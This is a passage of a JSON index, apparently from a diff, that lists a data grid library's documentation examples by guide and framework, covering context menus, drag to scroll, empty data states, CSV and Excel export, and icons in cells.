"guides/accessories-and-menus/context-menu/context-menu.md", - "guideTitle": "Context menu", - "exampleId": "example4", - "exampleTitle": "Context menu with custom options", - "docPermalink": "/context-menu", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/angular/example1.ts", - "file": "guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/drag-to-scroll", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example1.js", - "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/drag-to-scroll", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/react/example1.tsx", - "file": "guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/drag-to-scroll", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example1.ts", - "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/drag-to-scroll", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/vue/example1.vue", - "file": "guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/drag-to-scroll", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/angular/example2.ts", - "file": "guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example2", - "exampleTitle": "Configure scroll speed", - "docPermalink": "/drag-to-scroll", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example2.js", - "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example2", - "exampleTitle": "Configure scroll speed", - "docPermalink": "/drag-to-scroll", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/react/example2.tsx", - "file": "guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example2", - "exampleTitle": "Configure scroll speed", - "docPermalink": "/drag-to-scroll", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/javascript/example2.ts", - "file": "guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example2", - "exampleTitle": "Configure scroll speed", - "docPermalink": "/drag-to-scroll", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/drag-to-scroll/vue/example2.vue", - "file": "guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Drag to scroll" - ], - "guide": "guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md", - "guideTitle": "Drag to scroll", - "exampleId": "example2", - "exampleTitle": "Configure scroll speed", - "docPermalink": "/drag-to-scroll", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/angular/example1.ts", - "file": "guides__accessories-and-menus__empty-data-state__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/empty-data-state", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example1.js", - "file": "guides__accessories-and-menus__empty-data-state__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/empty-data-state", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/react/example1.tsx", - "file": "guides__accessories-and-menus__empty-data-state__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/empty-data-state", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example1.ts", - "file": "guides__accessories-and-menus__empty-data-state__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/empty-data-state", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/vue/example1.vue", - "file": "guides__accessories-and-menus__empty-data-state__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/empty-data-state", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/angular/example2.ts", - "file": "guides__accessories-and-menus__empty-data-state__angular__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/empty-data-state", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example2.js", - "file": "guides__accessories-and-menus__empty-data-state__javascript__example2.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/empty-data-state", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/react/example2.tsx", - "file": "guides__accessories-and-menus__empty-data-state__react__example2.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/empty-data-state", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example2.ts", - "file": "guides__accessories-and-menus__empty-data-state__javascript__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/empty-data-state", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/vue/example2.vue", - "file": "guides__accessories-and-menus__empty-data-state__vue__example2.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example2", - "exampleTitle": "Custom configuration", - "docPermalink": "/empty-data-state", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/angular/example3.ts", - "file": "guides__accessories-and-menus__empty-data-state__angular__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example3", - "exampleTitle": "Dynamic messages based on source", - "docPermalink": "/empty-data-state", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example3.js", - "file": "guides__accessories-and-menus__empty-data-state__javascript__example3.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example3", - "exampleTitle": "Dynamic messages based on source", - "docPermalink": "/empty-data-state", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/react/example3.tsx", - "file": "guides__accessories-and-menus__empty-data-state__react__example3.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example3", - "exampleTitle": "Dynamic messages based on source", - "docPermalink": "/empty-data-state", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/javascript/example3.ts", - "file": "guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example3", - "exampleTitle": "Dynamic messages based on source", - "docPermalink": "/empty-data-state", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/empty-data-state/vue/example3.vue", - "file": "guides__accessories-and-menus__empty-data-state__vue__example3.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Empty Data State" - ], - "guide": "guides/accessories-and-menus/empty-data-state/empty-data-state.md", - "guideTitle": "Empty Data State", - "exampleId": "example3", - "exampleTitle": "Dynamic messages based on source", - "docPermalink": "/empty-data-state", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example1.ts", - "file": "guides__accessories-and-menus__export-to-csv__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-csv", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example1.js", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-csv", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/react/example1.tsx", - "file": "guides__accessories-and-menus__export-to-csv__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-csv", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example1.ts", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-csv", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example1.vue", - "file": "guides__accessories-and-menus__export-to-csv__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-csv", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example2.ts", - "file": "guides__accessories-and-menus__export-to-csv__angular__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example2", - "exampleTitle": "Export as a JavaScript Blob object", - "docPermalink": "/export-to-csv", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example2.js", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example2.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example2", - "exampleTitle": "Export as a JavaScript Blob object", - "docPermalink": "/export-to-csv", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/react/example2.tsx", - "file": "guides__accessories-and-menus__export-to-csv__react__example2.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example2", - "exampleTitle": "Export as a JavaScript Blob object", - "docPermalink": "/export-to-csv", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example2.ts", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example2", - "exampleTitle": "Export as a JavaScript Blob object", - "docPermalink": "/export-to-csv", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example2.vue", - "file": "guides__accessories-and-menus__export-to-csv__vue__example2.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example2", - "exampleTitle": "Export as a JavaScript Blob object", - "docPermalink": "/export-to-csv", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example3.ts", - "file": "guides__accessories-and-menus__export-to-csv__angular__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example3", - "exampleTitle": "Export as a string", - "docPermalink": "/export-to-csv", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example3.js", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example3.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example3", - "exampleTitle": "Export as a string", - "docPermalink": "/export-to-csv", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/react/example3.tsx", - "file": "guides__accessories-and-menus__export-to-csv__react__example3.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example3", - "exampleTitle": "Export as a string", - "docPermalink": "/export-to-csv", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example3.ts", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example3", - "exampleTitle": "Export as a string", - "docPermalink": "/export-to-csv", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example3.vue", - "file": "guides__accessories-and-menus__export-to-csv__vue__example3.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example3", - "exampleTitle": "Export as a string", - "docPermalink": "/export-to-csv", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example4.ts", - "file": "guides__accessories-and-menus__export-to-csv__angular__example4.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example4", - "exampleTitle": "Prevent CSV Injection attack", - "docPermalink": "/export-to-csv", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example4.js", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example4.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example4", - "exampleTitle": "Prevent CSV Injection attack", - "docPermalink": "/export-to-csv", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/react/example4.tsx", - "file": "guides__accessories-and-menus__export-to-csv__react__example4.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example4", - "exampleTitle": "Prevent CSV Injection attack", - "docPermalink": "/export-to-csv", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example4.ts", - "file": "guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example4", - "exampleTitle": "Prevent CSV Injection attack", - "docPermalink": "/export-to-csv", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example4.vue", - "file": "guides__accessories-and-menus__export-to-csv__vue__example4.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to CSV" - ], - "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", - "guideTitle": "Export to CSV", - "exampleId": "example4", - "exampleTitle": "Prevent CSV Injection attack", - "docPermalink": "/export-to-csv", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/angular/example1.ts", - "file": "guides__accessories-and-menus__export-to-excel__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-excel", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example1.js", - "file": "guides__accessories-and-menus__export-to-excel__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-excel", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/react/example1.tsx", - "file": "guides__accessories-and-menus__export-to-excel__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-excel", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example1.ts", - "file": "guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-excel", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/vue/example1.vue", - "file": "guides__accessories-and-menus__export-to-excel__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/export-to-excel", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/angular/example2.ts", - "file": "guides__accessories-and-menus__export-to-excel__angular__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example2", - "exampleTitle": "Multi-sheet export", - "docPermalink": "/export-to-excel", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example2.js", - "file": "guides__accessories-and-menus__export-to-excel__javascript__example2.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example2", - "exampleTitle": "Multi-sheet export", - "docPermalink": "/export-to-excel", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/react/example2.tsx", - "file": "guides__accessories-and-menus__export-to-excel__react__example2.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example2", - "exampleTitle": "Multi-sheet export", - "docPermalink": "/export-to-excel", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example2.ts", - "file": "guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example2", - "exampleTitle": "Multi-sheet export", - "docPermalink": "/export-to-excel", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/vue/example2.vue", - "file": "guides__accessories-and-menus__export-to-excel__vue__example2.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example2", - "exampleTitle": "Multi-sheet export", - "docPermalink": "/export-to-excel", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/angular/example3.ts", - "file": "guides__accessories-and-menus__export-to-excel__angular__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example3", - "exampleTitle": "Context menu", - "docPermalink": "/export-to-excel", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example3.js", - "file": "guides__accessories-and-menus__export-to-excel__javascript__example3.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example3", - "exampleTitle": "Context menu", - "docPermalink": "/export-to-excel", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/react/example3.tsx", - "file": "guides__accessories-and-menus__export-to-excel__react__example3.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example3", - "exampleTitle": "Context menu", - "docPermalink": "/export-to-excel", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example3.ts", - "file": "guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example3", - "exampleTitle": "Context menu", - "docPermalink": "/export-to-excel", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/export-to-excel/vue/example3.vue", - "file": "guides__accessories-and-menus__export-to-excel__vue__example3.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Export to Excel" - ], - "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", - "guideTitle": "Export to Excel", - "exampleId": "example3", - "exampleTitle": "Context menu", - "docPermalink": "/export-to-excel", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/use-icons-in-cells/angular/example1.ts", - "file": "guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "How to use icons in cells" - ], - "guide": "guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md", - "guideTitle": "How to use icons in cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/use-icons-in-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/use-icons-in-cells/javascript/example1.js", - "file": "guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json", - "breadcrumb": [ - "Accessories And Menus", - "How to use icons in cells" - ], - "guide": "guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md", - "guideTitle": "How to use icons in cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/use-icons-in-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/use-icons-in-cells/react/example1.tsx", - "file": "guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "How to use icons in cells" - ], - "guide": "guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md", - "guideTitle": "How to use icons in cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/use-icons-in-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/use-icons-in-cells/javascript/example1.ts", - "file": "guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "How to use icons in cells" - ], - "guide": "guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md", - "guideTitle": "How to use icons in cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/use-icons-in-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/use-icons-in-cells/vue/example1.vue", - "file": "guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "How to use icons in 